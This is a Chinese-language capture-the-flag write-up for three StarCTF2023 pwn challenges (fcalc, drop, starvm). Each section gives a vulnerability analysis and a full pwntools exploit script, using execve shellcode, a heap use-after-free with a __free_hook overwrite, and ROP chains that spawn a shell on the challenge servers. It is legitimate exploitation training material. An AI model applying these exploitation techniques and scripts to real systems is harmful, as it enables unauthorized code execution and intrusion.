0%

StarCTF2023

fcalc

1
2
3
4
5
6
7
fcalc: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=05285bcf7cd192619ab73f7c8e90e4e0d357c11c, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
  • 64位,dynamically,Full RELRO,PIE

程序分析

程序大致上实现了一个计算器,输入数字可以将数字压栈,输入运算符号 +-*/ 可以从栈中弹出栈顶的两个数字,进行运算后将结果压回

入侵思路

关键点就是在栈上注入一个 shellcode,需要通过下面的检查:

1
2
3
4
5
6
7
8
9
10
for ( j = 0; j <= 0x2F; ++j )
{
doublet = fabs(*(double *)ptr);
if ( doublet != 0.0 && (doublet < 1.0 || doublet > 100.0) )
{
printf("ERROR: %lf\n", doublet);
exit(1);
}
ptr += 8;
}

当然不可能整个 shellcode 都通过检查,通过 GDB 调试可以发现栈上有个栈地址,于是需要写一个 add rsp,offset;ret; 跳转到这个栈地址上,在这里布置 shellcode

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './fcalc'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('61.147.171.105','49628')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1876)\n")
pause()

def cmd(op):
sla(">",str(op))

def sendNum(num):
sleep(0.1)
sl(str(num))

def sendKey(key):
sleep(0.1)
p.send(key)

payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\x48\x31\xC0\x48\x31\xF6\x48\x31\xD2\xb0\x3b\x0f\x05"
print(payload)

sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")
sendKey("1")

#debug()

sendKey(payload.ljust(0x40,"\x00")+p64(0x40000000d0ec8148)*24+p64(0x40000000d0ec8148)+p64(0x40000000d0ec8148)+p64(0x3ff00000000000c3))

sendKey(chr(ord('/')+1))

p.interactive()

drop

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
drop: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3bdb633ba28af9d5592d174f3b181e4b5485e8db, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

漏洞分析

这个题的伪代码有点怪,正常分析程序功能有点困难,需要根据输入的内容来判断程序各个模块对堆的影响

我一般遇到这种难以分析的题目都会直接开始调试:

1
2
3
4
for i in range(9):
add(str(i+1)*0x200)

bubble(0,1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
tcachebins
0x20 [ 1]: 0x5555555ad9e0 ◂— 0x0
0x30 [ 1]: 0x5555555ab910 ◂— 0x0
0x70 [ 1]: 0x5555555ada00 ◂— 0x0
0x80 [ 1]: 0x5555555ab480 ◂— 0x0
0xd0 [ 1]: 0x5555555ae2b0 ◂— 0x0
0x1e0 [ 1]: 0x5555555ab2a0 ◂— 0x0
0x210 [ 2]: 0x5555555afa10 —▸ 0x5555555ada70 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5555555aef50 —▸ 0x7ffff7f61be0 (main_arena+96) ◂— 0x5555555aef50
  • 这里大概推测一下,函数 bubble 的功能如下:
    • 当 key 为0时,释放第 index 个 chunk
    • 当 key 为1时,将前 index 个 chunk 全部释放,申请并拷贝到新的 chunk 中

程序的 bubble 可以用于释放堆块,在其中有 UAF 漏洞

入侵思路

利用 UAF 漏洞可以完成泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for i in range(9):
add(str(i+1)*0x200)

bubble(0,1)
show(1)
ru("The 1th item: \n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x2a70
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

bubble(1,2)
show(8)
ru("The 8th item: \n")
p.recv(8)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))
  • 上面这个堆风水就是猜出来的,遇到这种不好分析的题目一定不要执着于逆向,要适当猜测数据

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './drop1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla("choice:",str(op))

def add(data):
cmd(1)
sla("item:",data)

def show(idx):
cmd(2)
sla("Index:",str(idx))

def edit(idx,data):
cmd(3)
sla("Index:",str(idx))
sla("content:",data)

def bubble(key,idx):
cmd(4)
sla("West/East?",str(key))
sla("index:",str(idx))

def dele(idx):
cmd(5)

#debug()

for i in range(9):
add(str(i+1)*0x200)

bubble(0,1)
show(1)
ru("The 1th item: \n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x2a70
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

bubble(1,2)
show(8)
ru("The 8th item: \n")
p.recv(8)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))
success("system >> "+hex(system))

for i in range(9):
add(str(i+1)*0x200)

bubble(0,1)
edit(1,p64(free_hook))

add("/bin/sh\x00".ljust(0x200,"\x00"))
add(p64(system).ljust(0x200,"\x00"))
bubble(0,1)

p.interactive()

starvm

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
starvm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f7648c6285dbb9299e6ee84f7b48f53de6626be6, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Partial RELRO,Canary,NX

漏洞分析

程序的核心结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
00000000 Chunk struc ; (sizeof=0x7C, mappedto_9)
00000000 cmd_listp dq ? ; offset
00000008 next dq ? ; offset
00000010 field_10 dq ?
00000018 data_list dq ? ; offset
00000020 data1 dq ? ; offset
00000028 data2 dq ? ; offset
00000030 cmd_list dq ? ; offset
00000038 answer dd 14 dup(?)
00000070 answer_addr dq ? ; offset
00000078 answer2 dd ?
0000007C Chunk ends

case-10 中没有 offset 检查,可以溢出到核心结构体中:

1
2
3
4
5
6
case 10:                                // lea
indext = index;
++cmd_list;
index += 2;
chunk->answer[chunk->data_list[indext]] = chunk->data_list[indext + 1];
break;
1
2
3
4
5
6
7
8
case 12:                                // lea3
data1 = chunk->data1;
indext = index;
++cmd_list;
++index;
chunk->answer[chunk->data_list[indext]] = *(data1 - 1);
chunk->data1 = data1 - 1;
break;

入侵思路

由于程序是提供了 stack_addr 的,通过程序的溢出,可以将 answer_addr 覆盖为 stack_addr,然后就可以修改栈上的数据了

劫持栈,利用 puts 泄露 libc_base,然后写 main 函数地址循环执行程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
ru("your vm starts at ")
leak_addr = eval("0x"+ru("\n"))
stack_base = leak_addr - 8
success("leak_addr >> "+hex(leak_addr))
success("stack_base >> "+hex(stack_base))

stack_addr1 = (stack_base) % 0x100000000
stack_addr2 = (stack_base >> 32) % 0x100000000
main_addr = 0x4012B0
puts_got = 0x401240
printf_got = 0x404018
pop_rdi_ret = 0x00000000004017cb

sla("command:","10 10 10 10 10 10 7 7 7 7 7 7 7 16")
ru("your cost:")
sl("14")
sl(str(stack_addr1))
sl("15")
sl(str(stack_addr2))
sl("2")
sl(str(puts_got))
sl("4")
sl(str(pop_rdi_ret))
sl("6")
sl(str(printf_got))
sl("8")
sl(str(main_addr))

sl("4")
sl("0")
sl("0")
sl("1")
sl("6")
sl("2")
sl("0")
sl("3")
sl("2")
sl("4")
sl("0")
sl("5")
sl("8")
sl("6")
sl("0")
sl("7")
sl(str(0xDEADBEEF))

最后在栈上覆盖一个 ROP 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# -*- coding:utf-8 -*-
from signal import pause
from pwn import *

arch = 64
challenge = './starvm1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\nb* 0x4017CC\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p, "b *0x4018B6\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
ru("your vm starts at ")
leak_addr = eval("0x"+ru("\n"))
stack_base = leak_addr - 8
success("leak_addr >> "+hex(leak_addr))
success("stack_base >> "+hex(stack_base))

stack_addr1 = (stack_base) % 0x100000000
stack_addr2 = (stack_base >> 32) % 0x100000000
main_addr = 0x4012B0
puts_got = 0x401240
printf_got = 0x404018
pop_rdi_ret = 0x00000000004017cb
pop_rsi_ret = 0x00000000004016f0
ret = 0x000000000040101a

sla("command:","10 10 10 10 10 10 7 7 7 7 7 7 7 16")
ru("your cost:")
sl("14")
sl(str(stack_addr1))
sl("15")
sl(str(stack_addr2))
sl("2")
sl(str(puts_got))
sl("4")
sl(str(pop_rdi_ret))
sl("6")
sl(str(printf_got))
sl("8")
sl(str(main_addr))

sl("4")
sl("0")
sl("0")
sl("1")
sl("6")
sl("2")
sl("0")
sl("3")
sl("2")
sl("4")
sl("0")
sl("5")
sl("8")
sl("6")
sl("0")
sl("7")
sl(str(0xDEADBEEF))

ru("\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x134d50
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system = libc_base + libc.sym["system"]
binsh = libc_base + 0x1d8698
pop_rdx_r12_ret = libc_base + 0x000000000011f497

sla("command:","10 10 10 10 10 10 10 10 7 7 7 7 7 7 7 7 16")
ru("your cost:")
sl("14")
sl(str(stack_addr1))
sl("15")
sl(str(stack_addr2))
sl("2")
sl(str(pop_rdi_ret))
sl("3")
sl(str(ret))
sl("8")
sl(str(binsh%0x100000000))
sl("9")
sl(str(binsh>>32))
sl("10")
sl(str(system%0x100000000))
sl("11")
sl(str(system>>32))

sl("2") # pop binsh
sl("0")
sl("0")
sl("1")
sl("8")
sl("2")
sl("9")
sl("3")
sl("3") # ret
sl("4")
sl("0")
sl("5")
sl("10") # system
sl("6")
sl("11")
sl("7")

sl(str(0xDEADBEEF))

p.interactive()